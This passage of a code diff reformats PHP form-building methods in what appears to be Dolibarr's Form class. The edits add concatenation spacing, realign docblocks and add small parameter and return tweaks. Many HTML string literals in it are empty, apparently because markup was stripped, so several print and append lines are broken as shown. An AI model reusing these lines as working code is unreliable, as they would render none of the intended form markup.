pfp ON ( p.rowid = pfp.fk_product AND pfp.entity IN (".getEntity('product').") )"; + $sql .= " FROM " . $this->db->prefix() . "product as p"; + $sql .= " LEFT JOIN " . $this->db->prefix() . "product_fournisseur_price as pfp ON ( p.rowid = pfp.fk_product AND pfp.entity IN (" . getEntity('product') . ") )"; if ($socid > 0) { - $sql .= " AND pfp.fk_soc = ".((int) $socid); + $sql .= " AND pfp.fk_soc = " . ((int) $socid); } - $sql .= " LEFT JOIN ".$this->db->prefix()."societe as s ON pfp.fk_soc = s.rowid"; + $sql .= " LEFT JOIN " . $this->db->prefix() . "societe as s ON pfp.fk_soc = s.rowid"; // Units - if (!empty($conf->global->PRODUCT_USE_UNITS)) { - $sql .= " LEFT JOIN ".$this->db->prefix()."c_units u ON u.rowid = p.fk_unit"; + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { + $sql .= " LEFT JOIN " . $this->db->prefix() . "c_units u ON u.rowid = p.fk_unit"; } - $sql .= " WHERE p.entity IN (".getEntity('product').")"; + $sql .= " WHERE p.entity IN (" . getEntity('product') . ")"; if ($statut != -1) { - $sql .= " AND p.tobuy = ".((int) $statut); + $sql .= " AND p.tobuy = " . ((int) $statut); } if (strval($filtertype) != '') { - $sql .= " AND p.fk_product_type = ".((int) $filtertype); + $sql .= " AND p.fk_product_type = " . ((int) $filtertype); } if (!empty($filtre)) { - $sql .= " ".$filtre; + $sql .= " " . $filtre; } // Add where from hooks $parameters = array(); @@ -3328,9 +3405,9 @@ class Form if ($i > 0) { $sql .= " AND "; } - $sql .= "(pfp.ref_fourn LIKE '".$this->db->escape($prefix.$crit)."%' OR p.ref LIKE '".$this->db->escape($prefix.$crit)."%' OR p.label LIKE '".$this->db->escape($prefix.$crit)."%'"; + $sql .= "(pfp.ref_fourn LIKE '" . $this->db->escape($prefix . $crit) . "%' OR p.ref LIKE '" . $this->db->escape($prefix . $crit) . "%' OR p.label LIKE '" . $this->db->escape($prefix . $crit) . "%'"; if (!empty($conf->global->PRODUIT_FOURN_TEXTS)) { - $sql .= " OR pfp.desc_fourn LIKE '".$this->db->escape($prefix.$crit)."%'"; + $sql .= " OR pfp.desc_fourn LIKE '" . $this->db->escape($prefix . $crit) . "%'"; } $sql .= ")"; $i++; @@ -3339,8 +3416,8 @@ class Form $sql .= ")"; } if (isModEnabled('barcode')) { - $sql .= " OR p.barcode LIKE '".$this->db->escape($prefix.$filterkey)."%'"; - $sql .= " OR pfp.barcode LIKE '".$this->db->escape($prefix.$filterkey)."%'"; + $sql .= " OR p.barcode LIKE '" . $this->db->escape($prefix . $filterkey) . "%'"; + $sql .= " OR pfp.barcode LIKE '" . $this->db->escape($prefix . $filterkey) . "%'"; } $sql .= ')'; } @@ -3349,29 +3426,35 @@ class Form // Build output string - dol_syslog(get_class($this)."::select_produits_fournisseurs_list", LOG_DEBUG); + dol_syslog(get_class($this) . "::select_produits_fournisseurs_list", LOG_DEBUG); $result = $this->db->query($sql); if ($result) { - require_once DOL_DOCUMENT_ROOT.'/product/dynamic_price/class/price_parser.class.php'; - require_once DOL_DOCUMENT_ROOT.'/core/lib/product.lib.php'; + require_once DOL_DOCUMENT_ROOT . '/product/dynamic_price/class/price_parser.class.php'; + require_once DOL_DOCUMENT_ROOT . '/core/lib/product.lib.php'; $num = $this->db->num_rows($result); //$out.=''; + $out .= ''; + $form = ''; + print ''; + print ''; + print ''; + $out .= ''; + $out .= ''; if ($user->admin && empty($noinfoadmin)) { - $out.= info_admin($langs->trans("YouCanChangeValuesForThisListFromDictionarySetup"), 1); + $out .= info_admin($langs->trans("YouCanChangeValuesForThisListFromDictionarySetup"), 1); } - $out.= ajax_combobox($htmlname); + $out .= ajax_combobox($htmlname); if ($deposit_percent >= 0) { - $out .= '
      '."\n"; + $more .= '' . "\n"; $more .= $moreonecolumn; } @@ -5164,10 +5283,10 @@ class Form $button = $useajax; $useajax = 1; $autoOpen = false; - $dialogconfirm .= '-'.$button; + $dialogconfirm .= '-' . $button; } - $pageyes = $page.(preg_match('/\?/', $page) ? '&' : '?').'action='.urlencode($action).'&confirm=yes'; - $pageno = ($useajax == 2 ? $page.(preg_match('/\?/', $page) ? '&' : '?').'action='.urlencode($action).'&confirm=no' : ''); + $pageyes = $page . (preg_match('/\?/', $page) ? '&' : '?') . 'action=' . urlencode($action) . '&confirm=yes'; + $pageno = ($useajax == 2 ? $page . (preg_match('/\?/', $page) ? '&' : '?') . 'action=' . urlencode($action) . '&confirm=no' : ''); // Add input fields into list of fields to read during submit (inputok and inputko) if (is_array($formquestion)) { @@ -5189,24 +5308,24 @@ class Form } // Show JQuery confirm box. - $formconfirm .= '' . "\n"; - $formconfirm .= "\n\n"; - $formconfirm .= ''; $formconfirm .= "\n"; } else { - $formconfirm .= "\n\n"; + $formconfirm .= "\n\n"; if (empty($disableformtag)) { - $formconfirm .= ''."\n"; + $formconfirm .= '' . "\n"; } - $formconfirm .= ''."\n"; - $formconfirm .= ''."\n"; + $formconfirm .= '' . "\n"; + $formconfirm .= '' . "\n"; - $formconfirm .= ''."\n"; + $formconfirm .= '
      ' . "\n"; // Line title $formconfirm .= ''."\n"; + $formconfirm .= img_picto('', 'pictoconfirm') . ' ' . $title; + $formconfirm .= '' . "\n"; // Line text if (is_array($formquestion) && !empty($formquestion['text'])) { - $formconfirm .= ''."\n"; + $formconfirm .= '' . "\n"; } // Line form fields if ($more) { - $formconfirm .= ''."\n"; + $formconfirm .= '' . "\n"; } // Line with question $formconfirm .= ''; - $formconfirm .= ''; + $formconfirm .= ''; $formconfirm .= ''; - $formconfirm .= ''."\n"; + $formconfirm .= '' . "\n"; - $formconfirm .= '
      '; - $formconfirm .= img_picto('', 'recent').' '.$title; - $formconfirm .= '
      '.$formquestion['text'].'
      ' . $formquestion['text'] . '
      '."\n"; + $formconfirm .= '
      ' . "\n"; $formconfirm .= $more; - $formconfirm .= '
      '.$question.'' . $question . ''; $formconfirm .= $this->selectyesno("confirm", $newselectedchoice, 0, false, 0, 0, 'marginleftonly marginrightonly', $labelbuttonyes, $labelbuttonno); - $formconfirm .= ''; + $formconfirm .= ''; $formconfirm .= '
      '."\n"; + $formconfirm .= '' . "\n"; if (empty($disableformtag)) { $formconfirm .= "\n"; @@ -5360,7 +5479,7 @@ class Form if (!empty($conf->use_javascript_ajax)) { $formconfirm .= ''; - $formconfirm .= ''."\n"; + $formconfirm .= '' . "\n"; } $formconfirm .= "\n"; @@ -5383,27 +5502,29 @@ class Form // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Show a form to select a project * - * @param int $page Page - * @param int $socid Id third party (-1=all, 0=only projects not linked to a third party, id=projects not linked or linked to third party id) - * @param int $selected Id pre-selected project - * @param string $htmlname Name of select field - * @param int $discard_closed Discard closed projects (0=Keep,1=hide completely except $selected,2=Disable) - * @param int $maxlength Max length - * @param int $forcefocus Force focus on field (works with javascript only) - * @param int $nooutput No print is done. String is returned. - * @param string $textifnoproject Text to show if no project - * @return string Return html content + * @param int $page Page + * @param int $socid Id third party (-1=all, 0=only projects not linked to a third party, id=projects not linked or linked to third party id) + * @param int $selected Id pre-selected project + * @param string $htmlname Name of select field + * @param int $discard_closed Discard closed projects (0=Keep,1=hide completely except $selected,2=Disable) + * @param int $maxlength Max length + * @param int $forcefocus Force focus on field (works with javascript only) + * @param int $nooutput No print is done. String is returned. + * @param string $textifnoproject Text to show if no project + * @param string $morecss More CSS + * @return string Return html content */ - public function form_project($page, $socid, $selected = '', $htmlname = 'projectid', $discard_closed = 0, $maxlength = 20, $forcefocus = 0, $nooutput = 0, $textifnoproject = '') + public function form_project($page, $socid, $selected = '', $htmlname = 'projectid', $discard_closed = 0, $maxlength = 20, $forcefocus = 0, $nooutput = 0, $textifnoproject = '', $morecss = '') { // phpcs:enable global $langs; - require_once DOL_DOCUMENT_ROOT.'/core/lib/project.lib.php'; - require_once DOL_DOCUMENT_ROOT.'/core/class/html.formprojet.class.php'; + require_once DOL_DOCUMENT_ROOT . '/core/lib/project.lib.php'; + require_once DOL_DOCUMENT_ROOT . '/core/class/html.formprojet.class.php'; $out = ''; @@ -5411,11 +5532,11 @@ class Form $langs->load("project"); if ($htmlname != "none") { - $out .= '
      '; + $out .= ''; $out .= ''; - $out .= ''; - $out .= $formproject->select_projects($socid, $selected, $htmlname, $maxlength, 0, 1, $discard_closed, $forcefocus, 0, 0, '', 1); - $out .= ''; + $out .= ''; + $out .= $formproject->select_projects($socid, $selected, $htmlname, $maxlength, 0, 1, $discard_closed, $forcefocus, 0, 0, '', 1, 0, $morecss); + $out .= ''; $out .= '
      '; } else { $out .= ''; @@ -5424,7 +5545,7 @@ class Form $projet->fetch($selected); $out .= $projet->getNomUrl(0, '', 1); } else { - $out .= ''.$textifnoproject.''; + $out .= '' . $textifnoproject . ''; } $out .= ''; } @@ -5437,20 +5558,21 @@ class Form } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** - * Show a form to select payment conditions + * Show a form to select payment conditions * - * @param int $page Page - * @param string $selected Id condition pre-selectionne - * @param string $htmlname Name of select html field - * @param int $addempty Add empty entry - * @param string $type Type ('direct-debit' or 'bank-transfer') - * @param int $filtertype If > 0, include payment terms with deposit percentage (for objects other than invoices and invoice templates) - * @param string $deposit_percent < 0 : deposit_percent input makes no sense (for example, in list filters) - * 0 : use default deposit percentage from entry - * > 0 : force deposit percentage (for example, from company object) - * @param int $nooutput No print is done. String is returned. - * @return void + * @param int $page Page + * @param string $selected Id condition pre-selectionne + * @param string $htmlname Name of select html field + * @param int $addempty Add empty entry + * @param string $type Type ('direct-debit' or 'bank-transfer') + * @param int $filtertype If > 0, include payment terms with deposit percentage (for objects other than invoices and invoice templates) + * @param string $deposit_percent < 0 : deposit_percent input makes no sense (for example, in list filters) + * 0 : use default deposit percentage from entry + * > 0 : force deposit percentage (for example, from company object) + * @param int $nooutput No print is done. String is returned. + * @return string HTML output or '' */ public function form_conditions_reglement($page, $selected = '', $htmlname = 'cond_reglement_id', $addempty = 0, $type = '', $filtertype = -1, $deposit_percent = -1, $nooutput = 0) { @@ -5460,14 +5582,14 @@ class Form $out = ''; if ($htmlname != "none") { - $out .= '
      '; + $out .= ''; $out .= ''; - $out .= ''; + $out .= ''; if ($type) { - $out .= ''; + $out .= ''; } $out .= $this->getSelectConditionsPaiements($selected, $htmlname, $filtertype, $addempty, 0, '', $deposit_percent); - $out .= ''; + $out .= ''; $out .= '
      '; } else { if ($selected) { @@ -5497,26 +5619,27 @@ class Form } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Show a form to select a delivery delay * - * @param int $page Page - * @param string $selected Id condition pre-selectionne - * @param string $htmlname Name of select html field - * @param int $addempty Ajoute entree vide - * @return void + * @param int $page Page + * @param string $selected Id condition pre-selectionne + * @param string $htmlname Name of select html field + * @param int $addempty Ajoute entree vide + * @return void */ public function form_availability($page, $selected = '', $htmlname = 'availability', $addempty = 0) { // phpcs:enable global $langs; if ($htmlname != "none") { - print '
      '; + print ''; print ''; - print ''; + print ''; $this->selectAvailabilityDelay($selected, $htmlname, -1, $addempty); - print ''; - print ''; + print ''; + print ''; print '
      '; } else { if ($selected) { @@ -5532,21 +5655,21 @@ class Form * Output HTML form to select list of input reason (events that triggered an object creation, like after sending an emailing, making an advert, ...) * List found into table c_input_reason loaded by loadCacheInputReason * - * @param string $page Page - * @param string $selected Id condition pre-selectionne - * @param string $htmlname Name of select html field - * @param int $addempty Add empty entry - * @return void + * @param string $page Page + * @param string $selected Id condition pre-selectionne + * @param string $htmlname Name of select html field + * @param int $addempty Add empty entry + * @return void */ public function formInputReason($page, $selected = '', $htmlname = 'demandreason', $addempty = 0) { global $langs; if ($htmlname != "none") { - print '
      '; + print ''; print ''; - print ''; + print ''; $this->selectInputReason($selected, $htmlname, -1, $addempty); - print ''; + print ''; print '
      '; } else { if ($selected) { @@ -5564,18 +5687,19 @@ class Form } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Show a form + html select a date * - * @param string $page Page - * @param string $selected Date preselected - * @param string $htmlname Html name of date input fields or 'none' - * @param int $displayhour Display hour selector - * @param int $displaymin Display minutes selector - * @param int $nooutput 1=No print output, return string - * @param string $type 'direct-debit' or 'bank-transfer' - * @return string - * @see selectDate() + * @param string $page Page + * @param string $selected Date preselected + * @param string $htmlname Html name of date input fields or 'none' + * @param int $displayhour Display hour selector + * @param int $displaymin Display minutes selector + * @param int $nooutput 1=No print output, return string + * @param string $type 'direct-debit' or 'bank-transfer' + * @return string + * @see selectDate() */ public function form_date($page, $selected, $htmlname, $displayhour = 0, $displaymin = 0, $nooutput = 0, $type = '') { @@ -5585,17 +5709,17 @@ class Form $ret = ''; if ($htmlname != "none") { - $ret .= '
      '; - $ret .= ''; - $ret .= ''; + $ret .= ''; + $ret .= ''; + $ret .= ''; if ($type) { - $ret .= ''; + $ret .= ''; } $ret .= ''; $ret .= ''; - $ret .= ''; + $ret .= ''; $ret .= '
      '; - $ret .= $this->selectDate($selected, $htmlname, $displayhour, $displaymin, 1, 'form'.$htmlname, 1, 0); + $ret .= $this->selectDate($selected, $htmlname, $displayhour, $displaymin, 1, 'form' . $htmlname, 1, 0); $ret .= '
      '; } else { if ($displayhour) { @@ -5613,15 +5737,16 @@ class Form // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Show a select form to choose a user * - * @param string $page Page - * @param string $selected Id of user preselected - * @param string $htmlname Name of input html field. If 'none', we just output the user link. - * @param array $exclude List of users id to exclude - * @param array $include List of users id to include - * @return void + * @param string $page Page + * @param string $selected Id of user preselected + * @param string $htmlname Name of input html field. If 'none', we just output the user link. + * @param array $exclude List of users id to exclude + * @param array $include List of users id to include + * @return void */ public function form_users($page, $selected = '', $htmlname = 'userid', $exclude = '', $include = '') { @@ -5629,15 +5754,15 @@ class Form global $langs; if ($htmlname != "none") { - print '
      '; - print ''; - print ''; + print ''; + print ''; + print ''; print $this->select_dolusers($selected, $htmlname, 1, $exclude, 0, $include); - print ''; + print ''; print '
      '; } else { if ($selected) { - require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php'; + require_once DOL_DOCUMENT_ROOT . '/user/class/user.class.php'; $theuser = new User($this->db); $theuser->fetch($selected); print $theuser->getNomUrl(1); @@ -5649,18 +5774,19 @@ class Form // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Show form with payment mode * - * @param string $page Page - * @param int $selected Id mode pre-selectionne - * @param string $htmlname Name of select html field - * @param string $filtertype To filter on field type in llx_c_paiement ('CRDT' or 'DBIT' or array('code'=>xx,'label'=>zz)) - * @param int $active Active or not, -1 = all - * @param int $addempty 1=Add empty entry - * @param string $type Type ('direct-debit' or 'bank-transfer') - * @param int $nooutput 1=Return string, no output - * @return void + * @param string $page Page + * @param int $selected Id mode pre-selectionne + * @param string $htmlname Name of select html field + * @param string $filtertype To filter on field type in llx_c_paiement ('CRDT' or 'DBIT' or array('code'=>xx,'label'=>zz)) + * @param int $active Active or not, -1 = all + * @param int $addempty 1=Add empty entry + * @param string $type Type ('direct-debit' or 'bank-transfer') + * @param int $nooutput 1=Return string, no output + * @return string HTML output or '' */ public function form_modes_reglement($page, $selected = '', $htmlname = 'mode_reglement_id', $filtertype = '', $active = 1, $addempty = 0, $type = '', $nooutput = 0) { @@ -5669,14 +5795,14 @@ class Form $out = ''; if ($htmlname != "none") { - $out .= '
      '; + $out .= ''; $out .= ''; - $out .= ''; + $out .= ''; if ($type) { - $out .= ''; + $out .= ''; } $out .= $this->select_types_paiements($selected, $htmlname, $filtertype, 0, $addempty, 0, 0, $active, '', 1); - $out .= ''; + $out .= ''; $out .= '
      '; } else { if ($selected) { @@ -5692,27 +5818,28 @@ class Form } else { print $out; } + return ''; } /** * Show form with transport mode * - * @param string $page Page - * @param int $selected Id mode pre-select - * @param string $htmlname Name of select html field - * @param int $active Active or not, -1 = all - * @param int $addempty 1=Add empty entry - * @return void + * @param string $page Page + * @param int $selected Id mode pre-select + * @param string $htmlname Name of select html field + * @param int $active Active or not, -1 = all + * @param int $addempty 1=Add empty entry + * @return void */ public function formSelectTransportMode($page, $selected = '', $htmlname = 'transport_mode_id', $active = 1, $addempty = 0) { global $langs; if ($htmlname != "none") { - print '
      '; + print ''; print ''; - print ''; + print ''; $this->selectTransportMode($selected, $htmlname, 0, $addempty, 0, 0, $active); - print ''; + print ''; print '
      '; } else { if ($selected) { @@ -5725,24 +5852,25 @@ class Form } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Show form with multicurrency code * - * @param string $page Page - * @param string $selected code pre-selectionne - * @param string $htmlname Name of select html field - * @return void + * @param string $page Page + * @param string $selected code pre-selectionne + * @param string $htmlname Name of select html field + * @return void */ public function form_multicurrency_code($page, $selected = '', $htmlname = 'multicurrency_code') { // phpcs:enable global $langs; if ($htmlname != "none") { - print '
      '; + print ''; print ''; - print ''; + print ''; print $this->selectMultiCurrency($selected, $htmlname, 0); - print ''; + print ''; print '
      '; } else { dol_include_once('/core/lib/company.lib.php'); @@ -5751,14 +5879,15 @@ class Form } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Show form with multicurrency rate * - * @param string $page Page - * @param double $rate Current rate - * @param string $htmlname Name of select html field - * @param string $currency Currency code to explain the rate - * @return void + * @param string $page Page + * @param double $rate Current rate + * @param string $htmlname Name of select html field + * @param string $currency Currency code to explain the rate + * @return void */ public function form_multicurrency_rate($page, $rate = '', $htmlname = 'multicurrency_tx', $currency = '') { @@ -5766,21 +5895,21 @@ class Form global $langs, $mysoc, $conf; if ($htmlname != "none") { - print '
      '; + print ''; print ''; - print ''; - print ' '; + print ''; + print ' '; print ' '; - print ''; + print ''; print '
      '; } else { if (!empty($rate)) { print price($rate, 1, $langs, 1, 0); if ($currency && $rate != 1) { - print '   ('.price($rate, 1, $langs, 1, 0).' '.$currency.' = 1 '.$conf->currency.')'; + print '   (' . price($rate, 1, $langs, 1, 0) . ' ' . $currency . ' = 1 ' . $conf->currency . ')'; } } else { print 1; @@ -5790,29 +5919,30 @@ class Form // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** - * Show a select box with available absolute discounts + * Show a select box with available absolute discounts * - * @param string $page Page URL where form is shown - * @param int $selected Value pre-selected - * @param string $htmlname Name of SELECT component. If 'none', not changeable. Example 'remise_id'. - * @param int $socid Third party id - * @param float $amount Total amount available - * @param string $filter SQL filter on discounts - * @param int $maxvalue Max value for lines that can be selected - * @param string $more More string to add - * @param int $hidelist 1=Hide list - * @param int $discount_type 0 => customer discount, 1 => supplier discount - * @return void + * @param string $page Page URL where form is shown + * @param int $selected Value pre-selected + * @param string $htmlname Name of SELECT component. If 'none', not changeable. Example 'remise_id'. + * @param int $socid Third party id + * @param float $amount Total amount available + * @param string $filter SQL filter on discounts + * @param int $maxvalue Max value for lines that can be selected + * @param string $more More string to add + * @param int $hidelist 1=Hide list + * @param int $discount_type 0 => customer discount, 1 => supplier discount + * @return void */ public function form_remise_dispo($page, $selected, $htmlname, $socid, $amount, $filter = '', $maxvalue = 0, $more = '', $hidelist = 0, $discount_type = 0) { // phpcs:enable global $conf, $langs; if ($htmlname != "none") { - print '
      '; + print ''; print ''; - print ''; + print ''; print '
      '; if (!empty($discount_type)) { if (!empty($conf->global->FACTURE_SUPPLIER_DEPOSITS_ARE_JUST_PAYMENTS)) { @@ -5850,24 +5980,24 @@ class Form print '
      '; if (empty($hidelist)) { print '
      '; - $newfilter = 'discount_type='.intval($discount_type); + $newfilter = 'discount_type=' . intval($discount_type); if (!empty($discount_type)) { $newfilter .= ' AND fk_invoice_supplier IS NULL AND fk_invoice_supplier_line IS NULL'; // Supplier discounts available } else { $newfilter .= ' AND fk_facture IS NULL AND fk_facture_line IS NULL'; // Customer discounts available } if ($filter) { - $newfilter .= ' AND ('.$filter.')'; + $newfilter .= ' AND (' . $filter . ')'; } // output the combo of discounts $nbqualifiedlines = $this->select_remises($selected, $htmlname, $newfilter, $socid, $maxvalue); if ($nbqualifiedlines > 0) { - print '   '; @@ -5891,14 +6021,15 @@ class Form // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Show forms to select a contact * - * @param string $page Page - * @param Societe $societe Filter on third party - * @param int $selected Id contact pre-selectionne - * @param string $htmlname Name of HTML select. If 'none', we just show contact link. - * @return void + * @param string $page Page + * @param Societe $societe Filter on third party + * @param int $selected Id contact pre-selectionne + * @param string $htmlname Name of HTML select. If 'none', we just show contact link. + * @return void */ public function form_contacts($page, $societe, $selected = '', $htmlname = 'contactid') { @@ -5906,23 +6037,23 @@ class Form global $langs, $conf; if ($htmlname != "none") { - print ''; + print ''; print ''; - print ''; + print ''; print ''; print ''; - print ''; + print ''; print '
      '; print $this->selectcontacts($societe->id, $selected, $htmlname); $num = $this->num; if ($num == 0) { $addcontact = (!empty($conf->global->SOCIETE_ADDRESSES_MANAGEMENT) ? $langs->trans("AddContact") : $langs->trans("AddContactAddress")); - print ''.$addcontact.''; + print '' . $addcontact . ''; } print '
      '; } else { if ($selected) { - require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; + require_once DOL_DOCUMENT_ROOT . '/contact/class/contact.class.php'; $contact = new Contact($this->db); $contact->fetch($selected); print $contact->getFullName($langs); @@ -5933,21 +6064,22 @@ class Form } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Output html select to select thirdparty * - * @param string $page Page - * @param string $selected Id preselected - * @param string $htmlname Name of HTML select - * @param string $filter Optional filters criteras. Do not use a filter coming from input of users. - * @param int $showempty Add an empty field - * @param int $showtype Show third party type in combolist (customer, prospect or supplier) - * @param int $forcecombo Force to use combo box - * @param array $events Event options. Example: array(array('method'=>'getContacts', 'url'=>dol_buildpath('/core/ajax/contacts.php',1), 'htmlname'=>'contactid', 'params'=>array('add-customer-contact'=>'disabled'))) - * @param int $nooutput No print output. Return it only. - * @param array $excludeids Exclude IDs from the select combo - * @param string $textifnothirdparty Text to show if no thirdparty - * @return void|string + * @param string $page Page + * @param string $selected Id preselected + * @param string $htmlname Name of HTML select + * @param string $filter Optional filters criteras. Do not use a filter coming from input of users. + * @param int $showempty Add an empty field + * @param int $showtype Show third party type in combolist (customer, prospect or supplier) + * @param int $forcecombo Force to use combo box + * @param array $events Event options. Example: array(array('method'=>'getContacts', 'url'=>dol_buildpath('/core/ajax/contacts.php',1), 'htmlname'=>'contactid', 'params'=>array('add-customer-contact'=>'disabled'))) + * @param int $nooutput No print output. Return it only. + * @param array $excludeids Exclude IDs from the select combo + * @param string $textifnothirdparty Text to show if no thirdparty + * @return string HTML output or '' */ public function form_thirdparty($page, $selected = '', $htmlname = 'socid', $filter = '', $showempty = 0, $showtype = 0, $forcecombo = 0, $events = array(), $nooutput = 0, $excludeids = array(), $textifnothirdparty = '') { @@ -5956,20 +6088,20 @@ class Form $out = ''; if ($htmlname != "none") { - $out .= '
      '; + $out .= ''; $out .= ''; - $out .= ''; + $out .= ''; $out .= $this->select_company($selected, $htmlname, $filter, $showempty, $showtype, $forcecombo, $events, 0, 'minwidth100', '', '', 1, array(), false, $excludeids); - $out .= ''; + $out .= ''; $out .= '
      '; } else { if ($selected) { - require_once DOL_DOCUMENT_ROOT.'/societe/class/societe.class.php'; + require_once DOL_DOCUMENT_ROOT . '/societe/class/societe.class.php'; $soc = new Societe($this->db); $soc->fetch($selected); $out .= $soc->getNomUrl(0, ''); } else { - $out .= ''.$textifnothirdparty.''; + $out .= '' . $textifnothirdparty . ''; } } @@ -5978,16 +6110,19 @@ class Form } else { print $out; } + + return ''; } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Retourne la liste des devises, dans la langue de l'utilisateur * - * @param string $selected preselected currency code - * @param string $htmlname name of HTML select list - * @deprecated - * @return void + * @param string $selected preselected currency code + * @param string $htmlname name of HTML select list + * @deprecated + * @return void */ public function select_currency($selected = '', $htmlname = 'currency_id') { @@ -5998,11 +6133,11 @@ class Form /** * Retourne la liste des devises, dans la langue de l'utilisateur * - * @param string $selected preselected currency code - * @param string $htmlname name of HTML select list - * @param string $mode 0 = Add currency symbol into label, 1 = Add 3 letter iso code - * @param string $useempty '1'=Allow empty value - * @return string + * @param string $selected preselected currency code + * @param string $htmlname name of HTML select list + * @param string $mode 0 = Add currency symbol into label, 1 = Add 3 letter iso code + * @param string $useempty '1'=Allow empty value + * @return string */ public function selectCurrency($selected = '', $htmlname = 'currency_id', $mode = 0, $useempty = '') { @@ -6016,22 +6151,22 @@ class Form $selected = 'EUR'; // Pour compatibilite } - $out .= ''; if ($useempty) { $out .= ''; } foreach ($langs->cache_currencies as $code_iso => $currency) { $labeltoshow = $currency['label']; if ($mode == 1) { - $labeltoshow .= ' ('.$code_iso.')'; + $labeltoshow .= ' (' . $code_iso . ')'; } else { - $labeltoshow .= ' ('.$langs->getCurrencySymbol($code_iso).')'; + $labeltoshow .= ' (' . $langs->getCurrencySymbol($code_iso) . ')'; } if ($selected && $selected == $code_iso) { - $out .= ''; @@ -6042,23 +6177,23 @@ class Form } // Make select dynamic - include_once DOL_DOCUMENT_ROOT.'/core/lib/ajax.lib.php'; + include_once DOL_DOCUMENT_ROOT . '/core/lib/ajax.lib.php'; $out .= ajax_combobox($htmlname); return $out; } /** - * Return array of currencies in user language + * Return array of currencies in user language * - * @param string $selected Preselected currency code - * @param string $htmlname Name of HTML select list - * @param integer $useempty 1=Add empty line - * @param string $filter Optional filters criteras (example: 'code <> x', ' in (1,3)') - * @param bool $excludeConfCurrency false = If company current currency not in table, we add it into list. Should always be available. - * true = we are in currency_rate update , we don't want to see conf->currency in select - * @param string $morecss More css - * @return string + * @param string $selected Preselected currency code + * @param string $htmlname Name of HTML select list + * @param integer $useempty 1=Add empty line + * @param string $filter Optional filters criteras (example: 'code <> x', ' in (1,3)') + * @param bool $excludeConfCurrency false = If company current currency not in table, we add it into list. Should always be available. + * true = we are in currency_rate update , we don't want to see conf->currency in select + * @param string $morecss More css + * @return string */ public function selectMultiCurrency($selected = '', $htmlname = 'multicurrency_code', $useempty = 0, $filter = '', $excludeConfCurrency = false, $morecss = '') { @@ -6068,10 +6203,10 @@ class Form $TCurrency = array(); - $sql = "SELECT code FROM ".$this->db->prefix()."multicurrency"; - $sql .= " WHERE entity IN ('".getEntity('mutlicurrency')."')"; + $sql = "SELECT code FROM " . $this->db->prefix() . "multicurrency"; + $sql .= " WHERE entity IN ('" . getEntity('mutlicurrency') . "')"; if ($filter) { - $sql .= " AND ".$filter; + $sql .= " AND " . $filter; } $resql = $this->db->query($sql); if ($resql) { @@ -6081,7 +6216,7 @@ class Form } $out = ''; - $out .= ''; if ($useempty) { $out .= ''; } @@ -6093,13 +6228,13 @@ class Form foreach ($langs->cache_currencies as $code_iso => $currency) { if (isset($TCurrency[$code_iso])) { if (!empty($selected) && $selected == $code_iso) { - $out .= ''; } } @@ -6108,18 +6243,19 @@ class Form $out .= ''; // Make select dynamic - include_once DOL_DOCUMENT_ROOT.'/core/lib/ajax.lib.php'; + include_once DOL_DOCUMENT_ROOT . '/core/lib/ajax.lib.php'; $out .= ajax_combobox($htmlname); return $out; } // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** * Load into the cache vat rates of a country * - * @param string $country_code Country code with quotes ("'CA'", or "'CA,IN,...'") - * @return int Nb of loaded lines, 0 if already loaded, <0 if KO + * @param string $country_code Country code with quotes ("'CA'", or "'CA,IN,...'") + * @return int Nb of loaded lines, 0 if already loaded, <0 if KO */ public function load_cache_vatrates($country_code) { @@ -6134,10 +6270,10 @@ class Form dol_syslog(__METHOD__, LOG_DEBUG); $sql = "SELECT DISTINCT t.rowid, t.code, t.taux, t.localtax1, t.localtax1_type, t.localtax2, t.localtax2_type, t.recuperableonly"; - $sql .= " FROM ".$this->db->prefix()."c_tva as t, ".$this->db->prefix()."c_country as c"; + $sql .= " FROM " . $this->db->prefix() . "c_tva as t, " . $this->db->prefix() . "c_country as c"; $sql .= " WHERE t.fk_pays = c.rowid"; $sql .= " AND t.active > 0"; - $sql .= " AND c.code IN (".$this->db->sanitize($country_code, 1).")"; + $sql .= " AND c.code IN (" . $this->db->sanitize($country_code, 1) . ")"; $sql .= " ORDER BY t.code ASC, t.taux ASC, t.recuperableonly ASC"; $resql = $this->db->query($sql); @@ -6146,65 +6282,66 @@ class Form if ($num) { for ($i = 0; $i < $num; $i++) { $obj = $this->db->fetch_object($resql); - $this->cache_vatrates[$i]['rowid'] = $obj->rowid; + $this->cache_vatrates[$i]['rowid'] = $obj->rowid; $this->cache_vatrates[$i]['code'] = $obj->code; - $this->cache_vatrates[$i]['txtva'] = $obj->taux; + $this->cache_vatrates[$i]['txtva'] = $obj->taux; $this->cache_vatrates[$i]['nprtva'] = $obj->recuperableonly; - $this->cache_vatrates[$i]['localtax1'] = $obj->localtax1; - $this->cache_vatrates[$i]['localtax1_type'] = $obj->localtax1_type; - $this->cache_vatrates[$i]['localtax2'] = $obj->localtax2; - $this->cache_vatrates[$i]['localtax2_type'] = $obj->localtax1_type; + $this->cache_vatrates[$i]['localtax1'] = $obj->localtax1; + $this->cache_vatrates[$i]['localtax1_type'] = $obj->localtax1_type; + $this->cache_vatrates[$i]['localtax2'] = $obj->localtax2; + $this->cache_vatrates[$i]['localtax2_type'] = $obj->localtax1_type; - $this->cache_vatrates[$i]['label'] = $obj->taux.'%'.($obj->code ? ' ('.$obj->code.')' : ''); // Label must contains only 0-9 , . % or * - 